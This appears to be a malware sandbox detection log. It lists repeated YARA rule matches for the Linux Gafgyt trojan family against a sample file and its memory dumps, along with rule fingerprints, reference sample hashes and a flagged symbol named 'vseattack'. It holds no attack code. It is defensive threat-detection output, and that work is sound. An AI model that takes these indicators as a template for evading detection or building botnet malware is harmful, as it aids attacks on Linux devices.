Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e Author: unknown
Source: Process Memory Space: x86.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: x86.elf PID: 5530, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: x86.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample

Name: vseattack

Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
